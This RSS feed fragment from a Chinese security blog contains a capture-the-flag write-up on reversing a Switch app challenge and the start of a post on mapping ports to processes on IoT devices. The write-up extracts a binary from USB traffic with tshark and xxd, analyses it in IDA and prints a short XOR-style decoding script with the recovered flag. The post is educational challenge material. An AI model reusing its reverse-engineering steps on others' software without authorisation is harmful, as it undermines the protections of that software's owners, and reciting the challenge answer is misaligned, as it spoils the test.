src="https://wechat2rss.xlab.app/img-proxy/?k=d8869eac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOwABcJoQRcGEbGyTo9y77oDsdVdIm6qjvSPSvDAtGgLdzUOFhzhyxjw%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485825&amp;idx=2&amp;sn=29ce2ce1183af1204be56d82f0311c94&amp;chksm=faae514acdd9d85c055e9684d74099ff22435858120f9ed759629eeb3d0e1eb05165c0d4242e&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" data-itemshowtype="0" tab="innerlink" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.42674532940019666" data-s="300,640" style="margin: 0px;" data-type="png" data-w="2034" src="https://wechat2rss.xlab.app/img-proxy/?k=87e97b0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOBRnCibOatR02XnTiaJ7y7JDIiaM3VAJGCicov5bgdJKfsE1KvUJzNpVwfg%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485561&amp;idx=2&amp;sn=b41a34ca87b871f70c8b7ab43fb7dc30&amp;chksm=faae50b2cdd9d9a426b5f4cf4c78aaf1671944de79f5e771e920973db78c8e22ff562d03e408&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" data-itemshowtype="0" tab="innerlink" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.4292730844793713" data-s="300,640" style="margin: 0px;" data-type="png" data-w="2036" src="https://wechat2rss.xlab.app/img-proxy/?k=2c1ef8cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOKyaOEmT4tk7NYSgpyUb8WnBbzq3GyuRHV2Sc6riaQ9CyCbpFwjVUdDg%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485455&amp;idx=1&amp;sn=a5df769f0231bfcbf54aadf8efa84ecc&amp;chksm=faae50c4cdd9d9d2107bcea1a2b58d81310eaf9fdd8b24d4ff9db7e75cb0eba3b5bd151599c0&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" data-itemshowtype="0" tab="innerlink" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.42829268292682926" data-s="300,640" style="margin: 0px;" data-type="png" data-w="2050" src="https://wechat2rss.xlab.app/img-proxy/?k=5d1611a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOYHBgCMibUV4PbGl9qvVyuTCHAmtZUl4gq6tdaxUvOmvr36QMbibH0UkA%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485445&amp;idx=1&amp;sn=94649507c498c9e6ab9ea82be6fdad46&amp;chksm=faae50cecdd9d9d8e60734cd8d4222604341ba4ded3fc4d45206f549f628a37bb490f117fd18&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" data-itemshowtype="0" tab="innerlink" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages" data-galleryid="" data-ratio="0.42196531791907516" data-s="300,640" style="margin: 0px;" data-type="png" data-w="2076" src="https://wechat2rss.xlab.app/img-proxy/?k=2b5160c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOff9szInMwnjic9wDFQryX3VdHLr5r1VepL0Wkcpl2uIwGj4GxvqCdWA%2F640%3Fwx_fmt%3Dpng"/></span></a></p>



<p><a href="2247488237">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=dae1d8f6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247488237%26idx%3D1%26sn%3Dc690c4cebdba6bc73cdce0635ee04a4a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 18 Jun 2021 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Switch APP逆向分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247488135&amp;idx=1&amp;sn=e0d2834854ecd8b7a2259b2b8c39c7b9</link>
      <description>Switch APP逆向分析</description>
      <content:encoded><![CDATA[<p>
<span>小R同学</span> <span>2021-06-15 17:00</span> <span style="display: inline-block;"></span>
</p>

<p>Switch APP逆向分析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c85b9e73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPlfJtcW2l24jdxH0Uia0qaiaXoplCHehuhp6EMxZrqjZlZ3iaEqSRlk1OA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=9e75b0e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPXHoSzqSPJyBQutMnHiaSUMMeDLhPTiaTnOXS50Ck2EKLY9CHk5EgzYmQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">最近学习pwn，看到一个switch的逆向题目，于是乎在浩然表哥和the one表哥的帮助下研究了一波，学到了很多不可描述的知识。</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">题目的下载地址：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//www.icloud.com/iclouddrive/0ZkKpgouFpOW-DbEHvDSL2taQ#switch</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-reactroot="">下载题目附件后，根据扩展名使用Wireshark分析</span></span><span style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5205314009661836" data-s="300,640" style="" data-type="png" data-w="1656" src="https://wechat2rss.xlab.app/img-proxy/?k=def4f260&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibP4CvnqhNpRqwzZTaopASem2fMzO2cmXwoiauFyO4qFE75bzftbNpZ4nw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-reactroot="">不难发现，流量包中均为USB流量，猜测可能是通过USB传输了该APP，使用如下命令提取出传输的文件：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">tshark -r <span class="code-snippet__keyword">switch</span>.pcapng -Y <span class="code-snippet__string">&#39;usb.capdata and usb.device_address==4&#39;</span> -T fields -e usb.pcapng &gt; raw</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-reactroot="">将文本16进制转换为二进制格式</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">xxd -r -p raw raw.<span class="code-snippet__keyword">out</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6879795396419437" data-s="300,640" style="" data-type="png" data-w="2346" src="https://wechat2rss.xlab.app/img-proxy/?k=1a3334eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPYyv4vSym9q9BgxbUr97FoZqB1U2kheHojSMXBgY5etjT4iakT8sF3EA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-reactroot="">我们将nop指令之前的内容全部删除掉，将文件另存为新的bin文件即可</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1954177897574124" data-s="300,640" style="" data-type="png" data-w="1484" src="https://wechat2rss.xlab.app/img-proxy/?k=a91bccf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPt0S1x20SrcKw0iaSgxFMNGsLLpEm9ibg3uDW2Sszayh9UIvDia58q0eUQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-reactroot="">我们大致了解了其架构，使用ida打开目标文件，Load file时按照如下选项配置</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5011971268954509" data-s="300,640" style="" data-type="png" data-w="2506" src="https://wechat2rss.xlab.app/img-proxy/?k=46435c34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibP4yqqa2mEMZCYjJFzb2nC2vSLDDjhLRUxq5ofibsPceV68vk88PykDBg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-reactroot="">Rebase the whole program</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.146341463414634" data-s="300,640" style="" data-type="png" data-w="574" src="https://wechat2rss.xlab.app/img-proxy/?k=b3877a14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPlVp41yRaBfz7UTKxJDXm0XtXqicJ6L5AdfwJjEgTP66ib2HXgz7VOFag%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-reactroot="">通过查找交叉引用以及上下文分析，可以查找到该函数像是解密函数</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7146776406035665" data-s="300,640" style="" data-type="png" data-w="1458" src="https://wechat2rss.xlab.app/img-proxy/?k=3e1b02b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPPS52sLjFKKmfCbEfdp3zPgljiasyCdDt6t45ia6O78kMX2jFl2LiakF9g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">主要逻辑为对每个字节AND上一个0x7F</span><br/><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3804945054945055" data-s="300,640" style="" data-type="png" data-w="1456" src="https://wechat2rss.xlab.app/img-proxy/?k=7ee39534&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPdYJPQmxJZj4yuRNnC3x3o0w5iczvEXpKKz0v6695ADPh0Rryqcs0KTg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3937007874015748" data-s="300,640" style="" data-type="png" data-w="1270" src="https://wechat2rss.xlab.app/img-proxy/?k=9df64213&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPI0iaccLich2zdVIVqeXNFhxiaWgUOUICJKmPiaKkBoCXMA3EiaOhaIq2cSA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span data-reactroot="">将0x4001CCAD处的数据导出</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5083932853717026" data-s="300,640" style="" data-type="png" data-w="2502" src="https://wechat2rss.xlab.app/img-proxy/?k=c1711036&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPRHeFNGpicV5FGiccYaHjib8Q05ZV2SvJU7TcjAlSic0JwCArrticEnjaUNA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">编写脚本进行解密：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">ciphertext = [  0xE5, 0xF2, 0xE5, 0xA7, 0xF3, 0xA0, 0xE9, 0xEE, 0xE6, 0xEF, </span></code><code><span class="code-snippet_outer">  0xA0, 0xE6, 0xF2, 0xEF, 0xED, 0xA0, 0xE6, 0xF5, 0xF3, 0xE5, </span></code><code><span class="code-snippet_outer">  0xA0, 0xA8, 0xC8, 0xD7, 0xC9, 0xA9, 0xBA, 0xA0, 0xA5, 0xF3, </span></code><code><span class="code-snippet_outer">  0x8A, 0x80, 0x00, 0xD9, 0xEF, 0xF5, 0xF2, 0xA0, 0xF0, 0xF2, </span></code><code><span class="code-snippet_outer">  0xE5, 0xE3, 0xE9, 0xEF, 0xF5, 0xF3, 0xA0, 0xF0, 0xF2, 0xE9, </span></code><code><span class="code-snippet_outer">  0xF6, 0xE1, 0xF4, 0xE5, 0xA0, 0xEB, 0xE5, 0xF9, 0xA8, 0xD3, </span></code><code><span class="code-snippet_outer">  0xC2, 0xCB, 0xA9, 0xBA, 0xA0, 0xA5, 0xF3, 0x8A, 0x80, 0x00, </span></code><code><span class="code-snippet_outer">  0xD3, 0xC2, 0xCB, 0xA0, 0xC1, 0xC5, 0xD3, 0xC5, 0xA0, 0xB0, </span></code><code><span class="code-snippet_outer">  0xA0, 0xA8, 0xF3, 0xEF, 0xED, 0xE5, 0xA0, 0xF2, 0xE1, 0xEE, </span></code><code><span class="code-snippet_outer">  0xE4, 0xEF, 0xED, 0xA0, 0xF4, 0xE8, 0xE9, 0xEE, 0xE7, 0xF3, </span></code><code><span class="code-snippet_outer">  0xA0, 0xE5, 0xEE, 0xE3, 0xF2, 0xF9, 0xF0, 0xF4, 0xE5, 0xE4, </span></code><code><span class="code-snippet_outer">  0xA0, 0xE2, 0xF9, 0xA0, 0xF9, 0xEF, 0xF5, 0xF2, 0xA0, 0xEB, </span></code><code><span class="code-snippet_outer">  0xE5, 0xF9, 0xA9, 0xBA, 0xA0, 0xA5, 0xF3, 0x8A, 0x80, 0x00, </span></code><code><span class="code-snippet_outer">  0x8A, 0xD4, 0xE8, 0xE9, 0xF3, 0xA0, 0xE3, 0xF2, 0xE1, 0xE3, </span></code><code><span class="code-snippet_outer">  0xEB, 0xED, 0xE5, 0xA0, 0xF2, 0xE5, 0xAD, 0xF5, 0xF3, 0xE5, </span></code><code><span class="code-snippet_outer">  0xA0, 0xED, 0xEF, 0xF3, 0xF4, 0xEC, 0xF9, 0xA0, 0xF4, 0xE8, </span></code><code><span class="code-snippet_outer">  0xE5, 0xA0, 0xE3, 0xEF, 0xE4, 0xE5, 0xF3, 0xA0, 0xE6, 0xF2, </span></code><code><span class="code-snippet_outer">  0xEF, 0xED, 0xA0, 0xF2, 0xE1, 0xEA, 0xEB, 0xEF, 0xF3, 0xF4, </span></code><code><span class="code-snippet_outer">  0xEF, 0xAE, 0xA0, 0xE8, 0xF5, 0xE7, 0xE5, 0xA0, 0xF4, 0xE8, </span></code><code><span class="code-snippet_outer">  0xE1, 0xEE, 0xEB, 0xF3, 0xFE, 0x8A, 0x80, 0x00, 0xC8, 0xE5, </span></code><code><span class="code-snippet_outer">  0xF2, 0xE5, 0xA7, 0xF3, 0xA0, 0xF9, 0xEF, 0xF5, 0xF2, 0xA0, </span></code><code><span class="code-snippet_outer">  0xF0, 0xF2, 0xE5, 0xE3, 0xE9, 0xEF, 0xF5, 0xF3, 0xA0, 0xE6, </span></code><code><span class="code-snippet_outer">  0xEC, 0xE1, 0xE7, 0xA1, 0xA1, 0x8A, 0xE6, 0xEC, 0xE1, 0xE7, </span></code><code><span class="code-snippet_outer">  0xFB, 0xE3, 0xF6, 0xF6, 0xE4, 0xDF, 0xF3, 0xF7, 0xB1, 0xF4, </span></code><code><span class="code-snippet_outer">  0xE3, 0xE8, 0xAD, 0xE8, 0xB0, 0xED, 0xE5, 0xE2, 0xF2, 0xB3, </span></code><code><span class="code-snippet_outer">  0xF7, 0xAD, 0xE9, 0xF3, 0xAD, 0xE2, 0xF2, 0xB8, 0xEC, 0xE9, </span></code><code><span class="code-snippet_outer">  0xE1, 0xEE, 0xF4, 0xFD, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, </span></code><code><span class="code-snippet_outer">  0x00, 0x00, 0x00]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">flag = <span class="code-snippet__string">&#34;&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">for i in ciphertext:</span></code><code><span class="code-snippet_outer">  flag+= chr(i &amp; 0x7f)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">print(flag)</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.34375" data-s="300,640" style="" data-type="png" data-w="1088" src="https://wechat2rss.xlab.app/img-proxy/?k=970540c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPhL7QAm8NibeWpLovv08Y3H10sqwCNfiam6gvV3AcV69TydIXosIRhYGA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">还是太菜，很多东西没有分析明白，而且买来的switch好像还没用上，<strong>不过分手厨房很好玩</strong>....</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.65" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=3fa61ecd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZjEla9dGzYZabQjFvvqeibPkYjEu8pjTDzibjOJjcCLEmetJGiaRB4motj4SomXbgVU8GXMYOX4nydQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p>



<p><a href="2247488135">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4a1c87f7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247488135%26idx%3D1%26sn%3De0d2834854ecd8b7a2259b2b8c39c7b9%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 15 Jun 2021 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>在IoT设备中查找端口对应进程的四种方法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247487963&amp;idx=1&amp;sn=4d8b0084cbb1e0742eb7f619f85659d5</link>
      <description>列出了四种方法来查找某个端口当前正在运行的服务</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2021-01-18 17:53</span> <span style="display: inline-block;"></span>
</p>

<p>列出了四种方法来查找某个端口当前正在运行的服务</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=93f3cd78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPYWYBD1qic74nMxXNA0wpbOvgmNoOYMiafRT5hnG9SLUQtHuhY262cTaWicBS7iaztbxwWX6Y4olo3UYQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages" data-ratio="0.4593103448275862" data-s="300,640" style="" data-type="png" data-w="1450" src="https://wechat2rss.xlab.app/img-proxy/?k=b9f2dfb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYWYBD1qic74nMxXNA0wpbOvKFSWgcrD02NyxaWFLnRHx3eOOnFQMDNngdpeU3qO2qdEjQhzgMJbrg%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">这里我们列出了四种方法来查找某个端口当前正在运行的服务，如果师傅们还有什么其他好的想法欢迎交流</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">我们平时在测试物联网设备的时候，可能通过特殊方法获取了当前的设备的shell【如串口等等】。</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft 